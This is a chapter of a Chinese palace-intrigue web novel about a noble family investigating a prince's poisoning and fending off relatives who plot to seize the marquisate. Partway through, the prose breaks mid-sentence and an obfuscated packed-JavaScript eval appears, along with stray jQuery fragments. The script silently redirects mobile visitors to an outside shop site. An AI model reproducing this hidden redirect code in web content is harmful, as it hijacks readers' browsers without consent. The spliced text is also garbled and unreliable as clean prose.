今夏的第一场雨水落下,整个京城都被阴云遮蔽,街上的行人三三两两,快步走过。
“你将东西送过去便是。”杨湫将最后一包药材用油纸包好,递给芙蕖。
“是。”芙蕖接了过来,略带犹豫地看了杨湫一眼,问道:“小姐,您不去吗?”
“我?罢了。”杨湫叹了口气,道:“这时候见面,反倒尴尬,还是算了吧。”
芙蕖轻轻应了一声,拿着药包出去了。
杨湫坐在原地,捏了捏眉心,脑海里还在谋划重新追查的事情。
谢芷君寿终正寝的太过突然,偏偏太医院来回查了几遍,都找不出端倪。
太子被人毒杀,线索只有这一瓶来自蜀中的毒药,还有那个至今被羁押在皇城司的告密人。
思及此处,杨湫起身离开了垂珠阁,来到了东院。
“之前你托我追查这事,我想你也该来问了。”杨斐也不和杨湫兜圈子,直截了当地道:“告密人是康王府上的一个普通杂役,冒死告发,据说是看不下去康王的所作所为。”
“一个普通杂役,竟然能知道这么秘密的事情?还能拿到康王的信件?”杨湫不解地问道。
“三司的人同样有此疑虑,一直不能真正结案。”杨斐说完,摊开了手:“说实话,陛下还没松口,他们也只能徐徐图之。”
杨湫垂下头,低声道:“我前几日跟二姐说,希望他从中斡旋,让陛下重新调查。”
“这件事的确不算什么难以查证的大案,只是几位皇子都牵涉其中,还有顺王那一出。”
杨斐的脸色说不上多好看,颇为嫌弃地道:“流言传的大街小巷都是,谁都知道可能是康王做的。”
“就算没有物证,流言同样能杀人。”杨湫叹了口气,道。
杨斐安慰她:“你不是让你二姐谏言去了?且等等看吧。”
在接连打击之下,皇帝更笃信天道也不是什么怪事。
“先不提这些了。我还在想三叔公的事。”杨湫蹙着眉头,道:“二姐怕他们会对妙怜姐姐下手。”
“我知道。”杨斐耸耸肩道:“妙怜跟着沈家姑母去了吴中,这段时间不会回京。”
“如此,也能放心些了。”杨湫略微松了口气,道:“他们既然将主意打到大哥你头上,还是要小心谨慎。”
“我有什么好怕的,倒是你们几个。”杨斐对自己倒是一副无所谓的样子:“三叔公说不准会在你们几个的婚事上做文章,尤其是你二姐。”
“可是二姐如今——”杨湫欲言又止:“她有天命预言,三叔公纵然想,陛下那一关也不好过啊。”
“三叔公可不会在乎这些。”杨斐道。
杨湫迟疑着,长叹了一口气,用力捂住了脸。
云来客栈。
“爹,侯府那个小子不答应,我们现在怎么办?”四堂叔满脸焦急地看着自己的父亲道。
三叔公冷笑一声,一副胜券在握的样子:“他敢拒绝老夫,无非是仗着自己有婚约。若是出点事,让他们成不了亲呢?”
“成不了亲?爹的意思是,在八字上做文章?”四堂叔迷茫地道。
“老四,你想得太浅了。”三堂叔提醒道:“不要忘了,杨鸢是司天监之首,咱们就算买通了道士,也过不去她那一关。”
“那老三你说怎么办!”四堂叔已经按捺不住,大声嚷嚷起来。
二堂叔咳嗽一声,表情透出一丝了然:“爹的意思是,只要让那个姑娘出点事,成不了亲,不就行了?”
“这这这,难不成还要咱们绑架她?”四堂叔挠挠头,道:“这又不是在雒阳乡里,咱们说得,能算吗?”
“他们这些仕宦人家,必定是极为看重名声的。”三叔公十分自信的吩咐道:“老三,你去街上随便找个叫花子,叫他去沈府门口这样说。”
三堂叔凑了过去,三叔公低声吩咐完,他便立刻点头:“儿子这就去办,请爹放心。”
“爹,这话又说回来,郁公子虽然答应帮睿儿进学堂,可他妹子已经许配了人家,咱们也攀不上这根高枝。”
四堂叔一脸烦躁,道:“睿儿总得娶个大家闺秀帮衬才好啊。”
“老四,你就不聪明。”二堂叔瞪了四堂叔一眼,道:“咱们的目的是让睿儿继承侯府的爵位。睿儿他表妹嫁过去,只要二房那个臭小子没了,到时候不就是睿儿做主了?”
“有了爵位,还有功名在身,便是娶公主娘娘也使得!”
四堂叔猛地一拍脑袋,一脸懊悔地道:“你看我,怎么将这件事忘记了。”
“不过爹,睿儿他表妹的事情,还是要快点生米煮成熟饭,双管齐下的好。”二堂叔十分笃定地道:“咱们拿着信物去京兆尹告状,不怕他不承认。”
三叔公略微沉吟片刻,终是点了点头。
第二天,雨过天晴,三房的几位叔伯一起出动,给京城燥热的天气里又添了一把火。
明妃宫中。
“湫姐姐,你家里最近是怎么了?”赵嘉宁仰着脸,一脸迷惘地看着杨湫:“闹得好大,父皇都被惊动了。”
“没什么,几个别有用心的亲戚罢了。”杨湫无奈地扶额,叹息了一声:“他们想侵吞侯府,所以才想出了这么一个主意。”
“可是外面传的沸沸扬扬,都说你大哥在守孝期间拈花惹草。”赵嘉宁冷哼一声,满脸不忿:“他们怎么能这样不要脸,湫姐姐别怕,我替你跟父皇说去。”
“公主且慢。”杨湫伸手,轻轻拉住赵嘉宁:“大哥那边会处理好,公主不必费心。”
赵嘉宁气鼓鼓的坐下来,小声道:“可是人家就是看不惯嘛!怎么能这样欺负人——”
“人心险恶,这些人不达到目的,是绝不会罢休的。”杨湫道。
赵嘉宁瘪瘪嘴,道:“那也不能这样欺负你们呀,真是太讨厌了。”
她抿着嘴想了一会,随即一拍桌子,叫来了自己的侍女:“不成不成,湫姐姐。我还是去见一见父皇的好。”
“那天六哥要跟你退婚,父皇生了好大气。这会侯府出了事,万一安大臣们借机闹起来就不好啦!”
赵嘉宁一边说,一边跳起来,在几个贴身侍女的惊呼声中,一阵风一样卷了出去。
“公主?”杨湫错愕了一瞬,立刻提起裙摆跟了上去:“您等等我呀!”
御书房。
“陛下。”曹央进来禀报:“颍川公主求见。”
“嘉宁?她怎么来了?快让她进来。”皇帝毫不犹豫,立刻让曹央将人带进来。
杨鸢站在皇帝面前,见此情形,道:“公主来见陛下,想必是有要事。微臣先行告退。”
“你去吧。”皇帝挥了挥手:“你所言之事,朕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682765|203441||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会考虑。”
“父皇!父皇!”赵嘉宁小跑着冲了进来,见到尚未离去的杨鸢,更是惊喜:“太好了,鸢姐姐也在,这下更能说清楚了!”
“怎么了?嘉宁?有什么事情要跟父皇说清楚?”皇帝的神情柔和下来,赵嘉宁站在他面前,期期艾艾看着皇帝。
“父皇,定陵侯府那件事,都是他们乱讲的!我都已经听湫姐姐说了。”赵嘉宁不服气地看着皇帝:“侯府是皇祖母的娘家,皇祖母怎么会有这样胡搅蛮缠的族人?”
皇帝的表情出现了些微怔愣,抬眼看了一眼杨鸢。
“请陛下息怒。”杨鸢连忙跪下陈情:“是微臣老家族人上京寻亲,不知为何,竟闹出如此丑闻,微臣死罪。”
“既然是家事,怎么闹成这样?连嘉宁都知道了?”皇帝不咸不淡问道。
杨鸢叹了口气,将事情和盘托出:“陛下明鉴,三房几欲争夺爵位,不知道是受了谁的蛊惑,想用亲事困住侯府。”
“是呀,父皇。”赵嘉宁还在一边煽风点火,道:“说不准,六哥和湫姐姐的事情,也他们——”
“微臣死罪,回去以后一定好好约束他们。”杨鸢连忙打断了赵嘉宁的陈情,对着皇帝叩首。
皇帝未置一词,只是吩咐道:“既然是爱卿家事,那朕也不多插手了。”
“谢陛下。微臣会即刻让他们离开京城。”杨鸢起身谢恩,小心地退了出去,离开紫宸殿才松了口气。
赵嘉宁目送着杨鸢的背影离开,轻手轻脚挪到了皇帝身边求情:“父皇,儿臣最了解他们的为人了,侯府的人,是绝对不会做出这种事情的!”
“你跑过来,就是为了这件事,在朕面前求情的?”皇帝无奈地笑笑,问道。
赵嘉宁小幅度点点头,低声道:“儿臣就是看不惯他们欺负人嘛。”
“好,嘉宁看不惯。”皇帝顺着赵嘉宁的话说了下去,忽然想起杨鸢刚才提议的事,又陷入了沉思。
赵嘉宁看着皇帝陷入沉默,不由得担忧地喊了两声。
“没什么。”皇帝回过神来,道:“只是在想一些事情。”
“嘉宁愿意为父皇解忧,还请父皇保重自身。”赵嘉宁瘪瘪嘴,眼中又泛起泪花:“母后不在了,太子哥哥也不在了,嘉宁当真是害怕极了。”
提起已经辞世的皇后与太子,皇帝的心情不免得又沉重起来。
“嘉宁。”皇帝忽然问道:“方才杨鸢向朕提及,说太子一案又有了新的线索,奏请朕重审。”
“真的吗?那岂不是可以沉冤得雪?”赵嘉宁毫不犹豫地道。
皇帝微微一怔,反问道:“嘉宁,你也同意此事?”
“父皇明鉴,儿臣想到此案亦是十分痛心。”赵嘉宁用力吸吸鼻子,道:“若能够查清楚,想必太子哥哥泉下有知,也会感到欣慰。”
赵嘉宁的神情有些黯然,低声道:“况且太子哥哥待我们亲近,先前四哥指认六哥,儿臣就不相信。”
她坚定地看着皇帝,道:“儿臣请求父皇,哪怕是为了已经死去的贵妃娘娘,都要查清楚此事。”
皇帝的神情有一瞬间空白,恍然想起了一个早就淡忘的名字。
先帝赐给他的女官,在皇帝登基后被追封为贵妃,埋在了皇陵里。
“朕会考虑的。”皇帝对着赵嘉宁道:“你先回去吧。”